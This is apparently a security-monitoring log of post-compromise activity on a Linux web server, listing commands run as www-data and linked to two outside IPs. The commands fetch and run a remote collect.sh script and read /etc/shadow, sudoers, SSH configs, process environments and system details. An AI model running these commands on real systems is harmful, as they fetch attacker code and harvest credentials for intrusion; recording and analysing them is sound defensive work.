2026-10-31 01:06:0623.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sentbash -> bashcurl -sS -m 8 http://206.245.153.56:8088/ip
2026-10-31 01:06:0623.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sentbash -> bashcurl -sS -m 8 http://ifconfig.me
2026-10-31 01:06:3723.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sentbash -> bashcat /etc/resolv.conf
2026-10-31 01:06:3723.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sentbash -> bashfind / -xdev -perm -4000 -type f
2026-10-31 01:07:0023.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sentbash -> bashls -ld /var/tmp
2026-10-31 01:07:2323.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sentbash -> bashls -la /var/tmp
2026-10-31 01:07:48Not attributedNot attributedbash -> bashls -ld /etc /etc/passwd /etc/nsswitch.conf
2026-10-31 01:07:48Not attributedNot attributedbash -> bashgrep www-data /etc/passwd
2026-10-31 01:07:57Not attributedNot attributedbash -> bashawk -F: $1=="www-data"{print $1, $6, $7} /etc/passwd
2026-10-31 01:07:57Not attributedNot attributedbash -> bashcat /etc/passwd
2026-10-31 01:08:2323.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sentbash -> bashls -la /
2026-10-31 01:08:5823.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sentbash -> bashcat /etc/passwd
2026-10-31 01:08:5823.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sentbash -> bashls -la /var/run/docker.sock /run/docker.sock
2026-10-31 01:08:5823.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sentbash -> bashls -ld /run /run/lock /var/lock
2026-10-31 01:08:59Not attributedNot attributedbash -> bashls -l /usr/bin/mount /usr/bin/chsh
2026-10-31 01:09:22Not attributedNot attributedbash -> bashgrep www-data /etc/passwd
2026-10-31 01:09:3223.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sentbash -> bashls -l /usr/bin/passwd /usr/bin/su /usr/bin/mount /usr/bin/umount /usr/bin/chsh /usr/bin/newgrp
2026-10-31 01:09:3223.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sentbash -> bashls -la /var/lib/apache2
2026-10-31 01:09:3223.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sentbash -> bashid
2026-10-31 01:09:3223.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sentbash -> bashls -la /var/www/html/includes
2026-10-31 01:09:4823.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sentbash -> bashls -ld /etc/php /etc/php/*
2026-10-31 01:09:53Not attributedNot attributedbash -> bashhead -1 /etc/passwd
2026-10-31 01:09:53Not attributedNot attributedbash -> bashls -l /etc/passwd
2026-10-31 01:09:53Not attributedNot attributedbash -> bashid
2026-10-31 01:10:35Not attributedNot attributedbash -> bashid -u
2026-10-31 01:11:0623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -ld /tmp /var/tmp
2026-10-31 01:11:26Not attributedNot attributedbash -> bashls -l /etc/shadow
2026-10-31 01:11:3323.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l /etc/shadow
2026-10-31 01:11:3323.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashawk NR>1{split(,a,:); if(a[2]==0000) print L,a[1]} /proc/net/tcp
2026-10-31 01:11:56Not attributedNot attributedbash -> bashcp /etc/passwd /tmp/pw
2026-10-31 01:11:56Not attributedNot attributedbash -> bashcurl -sS -o /tmp/collect.sh http://206.245.153.56:8088/tools/collect.sh
2026-10-31 01:12:0023.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l /etc/ld.so.preload
2026-10-31 01:12:0023.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashgrep -c . /etc/shadow
2026-10-31 01:12:01Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat
2026-10-31 01:12:01Not attributedNot attributedsh -> shid -un
2026-10-31 01:12:01Not attributedNot attributedsh -> shgetent passwd www-data
2026-10-31 01:12:01Not attributedNot attributedsh -> shlscpu
2026-10-31 01:12:01Not attributedNot attributedtimeout -> timeoutsh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device
2026-10-31 01:12:01Not attributedNot attributedsh -> shuname -m
2026-10-31 01:12:01Not attributedNot attributedsh -> shgetconf LONG_BIT
2026-10-31 01:12:01Not attributedNot attributedsh -> shcat /etc/debian_version /etc/alpine-release /etc/redhat-release
2026-10-31 01:12:01Not attributedNot attributedsh -> shuname -a
2026-10-31 01:12:01Not attributedNot attributedsh -> shuname -r
2026-10-31 01:12:01Not attributedNot attributedsh -> shcat /etc/os-release
2026-10-31 01:12:01Not attributedNot attributedsh -> shid
2026-10-31 01:12:01Not attributedNot attributedtimeout -> timeoutsh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null
2026-10-31 01:12:01Not attributedNot attributedbash -> shsh /tmp/collect.sh -i 1422 -n <REDACTED>-20261031 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0
2026-10-31 01:12:01Not attributedNot attributedsh -> shwhoami
2026-10-31 01:12:01Not attributedNot attributedsh -> shtimeout 40 sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2
2026-10-31 01:12:01Not attributedNot attributedsh -> shid
2026-10-31 01:12:06Not attributedNot attributedtimeout -> timeoutsh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm
2026-10-31 01:12:06Not attributedNot attributedsh -> shdf -iP
2026-10-31 01:12:06Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /o
2026-10-31 01:12:06Not attributedNot attributedsh -> shdf -hP
2026-10-31 01:12:06Not attributedNot attributedsh -> shegrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo
2026-10-31 01:12:06Not attributedNot attributedtimeout -> timeoutsh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou
2026-10-31 01:12:06Not attributedNot attributedsh -> shfree -m
2026-10-31 01:12:06Not attributedNot attributedsh -> shfree -h
2026-10-31 01:12:06Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s
2026-10-31 01:12:06Not attributedNot attributedsh -> shegrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo
2026-10-31 01:12:06Not attributedNot attributedsh -> shnproc
2026-10-31 01:12:11Not attributedNot attributedsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n
2026-10-31 01:12:11Not attributedNot attributedsh -> shlsblk
2026-10-31 01:12:32Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do print
2026-10-31 01:12:32Not attributedNot attributedtimeout -> timeoutsh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${
2026-10-31 01:12:3423.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l /bin/bash /usr/bin/bash
2026-10-31 01:12:36Not attributedNot attributedsh -> shcat /etc/resolv.conf
2026-10-31 01:12:36Not attributedNot attributedsh -> shcat /etc/hosts
2026-10-31 01:12:36Not attributedNot attributedsh -> shcat /proc/net/udp /proc/net/udp6
2026-10-31 01:12:36Not attributedNot attributedsh -> shcat /proc/net/arp
2026-10-31 01:12:36Not attributedNot attributedsh -> shcat /proc/net/tcp /proc/net/tcp6
2026-10-31 01:12:36Not attributedNot attributedsh -> shhostname -I
2026-10-31 01:12:36Not attributedNot attributedsh -> shcat /proc/net/route
2026-10-31 01:12:41Not attributedNot attributedsh -> shcat /etc/shadow
2026-10-31 01:12:41Not attributedNot attributedsh -> shcat /etc/passwd
2026-10-31 01:12:41Not attributedNot attributedsh -> shid
2026-10-31 01:12:41Not attributedNot attributedtimeout -> timeoutsh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.
2026-10-31 01:12:41Not attributedNot attributedsh -> shcat /etc/group
2026-10-31 01:12:41Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e
2026-10-31 01:12:41Not attributedNot attributedsh -> shps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss
2026-10-31 01:12:41Not attributedNot attributedsh -> shawk function nib(c){return index("0123456789ABCDEF", toupper(c))-1} function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v} function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))} function st(c){if(c=="
2026-10-31 01:12:41Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load
2026-10-31 01:12:41Not attributedNot attributedtimeout -> timeoutsh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro
2026-10-31 01:12:41Not attributedNot attributedsh -> shps auxww
2026-10-31 01:12:41Not attributedNot attributedsh -> shls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock
2026-10-31 01:12:46Not attributedNot attributedsh -> shls -la /root/.ssh /home/*/.ssh
2026-10-31 01:12:46Not attributedNot attributedsh -> shls -la /root /home
2026-10-31 01:12:46Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort
2026-10-31 01:12:46Not attributedNot attributedsh -> shls -la /etc/sudoers.d
2026-10-31 01:12:46Not attributedNot attributedsh -> shcat /root/.ssh/config /home/*/.ssh/config
2026-10-31 01:12:46Not attributedNot attributedsh -> shwho
2026-10-31 01:12:46Not attributedNot attributedsh -> shls -la /root
